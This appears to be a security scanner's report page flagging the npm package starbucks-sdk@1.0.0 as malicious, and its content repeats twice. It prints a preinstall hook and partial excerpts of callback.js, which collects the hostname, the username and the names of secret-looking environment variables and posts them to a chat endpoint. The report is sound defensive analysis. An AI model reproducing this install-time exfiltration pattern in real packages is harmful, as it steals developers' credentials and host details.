starbucks-sdk@1.0.0: Malicious npm security report (Block) | LPM Firewall

Loading npm security reports…

starbucks-sdk@1.0.0: Malicious npm security report (Block) | LPM Firewall

Source & flagged code

10 flagged · loading source

package.jsonView file

•scripts.preinstall = node callback.js 2>/dev/null || true

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

•scripts.preinstall = node callback.js 2>/dev/null || true

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

callback.jsView file

1Source sends the broad process environment to a literal external destination. L1: const https = require('https'); L2: const os = require('os'); ... L7: const info = { L8: hostname: os.hostname(), L9: user: os.userInfo().username, ... L12: time: new Date().toISOString(), L13: secrets: Object.keys(process.env).filter(k => /token|secret|key|pass|auth|api|aws/i.test(k)).slice(0,10) L14: }; ... L21: }); L22: req.write(JSON.stringify({chat_id: CHAT_ID, text: message, parse_mode: 'Markdown'})); L23: req.end();

Critical

Hardcoded Runtime Data Exfiltration

Source sends credentials or rich application records to a package-controlled external receiver enabled by default.

callback.jsView on unpkg · L1

1const https = require('https'); L2: const os = require('os'); ... L7: const info = { L8: hostname: os.hostname(), L9: user: os.userInfo().username, ... L12: time: new Date().toISOString(), L13: secrets: Object.keys(process.env).filter(k => /token|secret|key|pass|auth|api|aws/i.test(k)).slice(0,10) L14: }; ... L21: }); L22: req.write(JSON.stringify({chat_id: CHAT_ID, text: message, parse_mode: 'Markdown'})); L23: req.end();

Critical

Credential Exfiltration

Source appears to send environment or credential material to an external endpoint.

callback.jsView on unpkg · L1

1Trigger-reachable chain: scripts.preinstall -> callback.js L1: const https = require('https'); L2: const os = require('os'); ... L7: const info = { L8: hostname: os.hostname(), L9: user: os.userInfo().username, ... L12: time: new Date().toISOString(), L13: secrets: Object.keys(process.env).filter(k => /token|secret|key|pass|auth|api|aws/i.test(k)).slice(0,10) L14: }; ... L21: }); L22: req.write(JSON.stringify({chat_id: CHAT_ID, text: message, parse_mode: 'Markdown'})); L23: req.end();

Critical

Trigger Reachable Dangerous Capability

A package entrypoint or install-time lifecycle script reaches a source file with blocking dangerous behavior.

callback.jsView on unpkg · L1

1const https = require('https'); L2: const os = require('os'); ... L7: const info = { L8: hostname: os.hostname(), L9: user: os.userInfo().username, ... L12: time: new Date().toISOString(), L13: secrets: Object.keys(process.env).filter(k => /token|secret|key|pass|auth|api|aws/i.test(k)).slice(0,10) L14: }; ... L21: }); L22: req.write(JSON.stringify({chat_id: CHAT_ID, text: message, parse_mode: 'Markdown'})); L23: req.end();

High

Host Fingerprint Exfiltration

Source collects local host identity data and sends it to an external endpoint.

callback.jsView on unpkg · L1

1const https = require('https'); L2: const os = require('os'); ... L7: const info = { L8: hostname: os.hostname(), L9: user: os.userInfo().username, ... L12: time: new Date().toISOString(), L13: secrets: Object.keys(process.env).filter(k => /token|secret|key|pass|auth|api|aws/i.test(k)).slice(0,10) L14: }; ... L21: }); L22: req.write(JSON.stringify({chat_id: CHAT_ID, text: message, parse_mode: 'Markdown'})); L23: req.end();

High

Sandbox Evasion Gated Capability

Source gates dangerous network, credential, or execution behavior behind CI, host, platform, time, or geo fingerprint checks.

callback.jsView on unpkg · L1

1Trigger-reachable credential exfiltration chain: scripts.preinstall -> callback.js L1: const https = require('https'); L2: const os = require('os'); ... L7: const info = { L8: hostname: os.hostname(), L9: user: os.userInfo().username, ... L12: time: new Date().toISOString(), L13: secrets: Object.keys(process.env).filter(k => /token|secret|key|pass|auth|api|aws/i.test(k)).slice(0,10) L14: }; ... L21: }); L22: req.write(JSON.stringify({chat_id: CHAT_ID, text: message, parse_mode: 'Markdown'})); L23: req.end();

High

Trigger Reachable Credential Exfiltration

A manifest entrypoint or package-local install chain reaches credential exfiltration behavior.

callback.jsView on unpkg · L1

starbucks-sdk-1.0.0.tgzView file

•path = starbucks-sdk-1.0.0.tgz kind = compressed_blob sizeBytes = 922 magicHex = [redacted]

Medium

Ships Compressed Blob

Package ships compressed or archive-like blobs.

starbucks-sdk-1.0.0.tgzView on unpkg

•path = starbucks-sdk-1.0.0.tgz kind = nested_archive_needs_inspection sizeBytes = 922 magicHex = [redacted]

Low

Nested Archive Needs Inspection

Package ships a nested archive or MCP bundle that was inventoried but not recursively analyzed.

starbucks-sdk-1.0.0.tgzView on unpkg

Source & flagged code

10 flagged

package.jsonView file

•scripts.preinstall = node callback.js 2>/dev/null || true

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

•scripts.preinstall = node callback.js 2>/dev/null || true

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

callback.jsView file

1Source sends the broad process environment to a literal external destination. L1: const https = require('https'); L2: const os = require('os'); ... L7: const info = { L8: hostname: os.hostname(), L9: user: os.userInfo().username, ... L12: time: new Date().toISOString(), L13: secrets: Object.keys(process.env).filter(k => /token|secret|key|pass|auth|api|aws/i.test(k)).slice(0,10) L14: }; ... L21: }); L22: req.write(JSON.stringify({chat_id: CHAT_ID, text: message, parse_mode: 'Markdown'})); L23: req.end();

Critical

Hardcoded Runtime Data Exfiltration

Source sends credentials or rich application records to a package-controlled external receiver enabled by default.

callback.jsView on unpkg · L1

1const https = require('https'); L2: const os = require('os'); ... L7: const info = { L8: hostname: os.hostname(), L9: user: os.userInfo().username, ... L12: time: new Date().toISOString(), L13: secrets: Object.keys(process.env).filter(k => /token|secret|key|pass|auth|api|aws/i.test(k)).slice(0,10) L14: }; ... L21: }); L22: req.write(JSON.stringify({chat_id: CHAT_ID, text: message, parse_mode: 'Markdown'})); L23: req.end();

Critical

Credential Exfiltration

Source appears to send environment or credential material to an external endpoint.

callback.jsView on unpkg · L1

1Trigger-reachable chain: scripts.preinstall -> callback.js L1: const https = require('https'); L2: const os = require('os'); ... L7: const info = { L8: hostname: os.hostname(), L9: user: os.userInfo().username, ... L12: time: new Date().toISOString(), L13: secrets: Object.keys(process.env).filter(k => /token|secret|key|pass|auth|api|aws/i.test(k)).slice(0,10) L14: }; ... L21: }); L22: req.write(JSON.stringify({chat_id: CHAT_ID, text: message, parse_mode: 'Markdown'})); L23: req.end();

Critical

Trigger Reachable Dangerous Capability

A package entrypoint or install-time lifecycle script reaches a source file with blocking dangerous behavior.

callback.jsView on unpkg · L1

1const https = require('https'); L2: const os = require('os'); ... L7: const info = { L8: hostname: os.hostname(), L9: user: os.userInfo().username, ... L12: time: new Date().toISOString(), L13: secrets: Object.keys(process.env).filter(k => /token|secret|key|pass|auth|api|aws/i.test(k)).slice(0,10) L14: }; ... L21: }); L22: req.write(JSON.stringify({chat_id: CHAT_ID, text: message, parse_mode: 'Markdown'})); L23: req.end();

High

Host Fingerprint Exfiltration

Source collects local host identity data and sends it to an external endpoint.

callback.jsView on unpkg · L1

1const https = require('https'); L2: const os = require('os'); ... L7: const info = { L8: hostname: os.hostname(), L9: user: os.userInfo().username, ... L12: time: new Date().toISOString(), L13: secrets: Object.keys(process.env).filter(k => /token|secret|key|pass|auth|api|aws/i.test(k)).slice(0,10) L14: }; ... L21: }); L22: req.write(JSON.stringify({chat_id: CHAT_ID, text: message, parse_mode: 'Markdown'})); L23: req.end();

High

Sandbox Evasion Gated Capability

Source gates dangerous network, credential, or execution behavior behind CI, host, platform, time, or geo fingerprint checks.

callback.jsView on unpkg · L1

1Trigger-reachable credential exfiltration chain: scripts.preinstall -> callback.js L1: const https = require('https'); L2: const os = require('os'); ... L7: const info = { L8: hostname: os.hostname(), L9: user: os.userInfo().username, ... L12: time: new Date().toISOString(), L13: secrets: Object.keys(process.env).filter(k => /token|secret|key|pass|auth|api|aws/i.test(k)).slice(0,10) L14: }; ... L21: }); L22: req.write(JSON.stringify({chat_id: CHAT_ID, text: message, parse_mode: 'Markdown'})); L23: req.end();

High

Trigger Reachable Credential Exfiltration

A manifest entrypoint or package-local install chain reaches credential exfiltration behavior.

callback.jsView on unpkg · L1

starbucks-sdk-1.0.0.tgzView file

•path = starbucks-sdk-1.0.0.tgz kind = compressed_blob sizeBytes = 922 magicHex = [redacted]

Medium

Ships Compressed Blob

Package ships compressed or archive-like blobs.

starbucks-sdk-1.0.0.tgzView on unpkg

•path = starbucks-sdk-1.0.0.tgz kind = nested_archive_needs_inspection sizeBytes = 922 magicHex = [redacted]

Low

Nested Archive Needs Inspection

Package ships a nested archive or MCP bundle that was inventoried but not recursively analyzed.

starbucks-sdk-1.0.0.tgzView on unpkg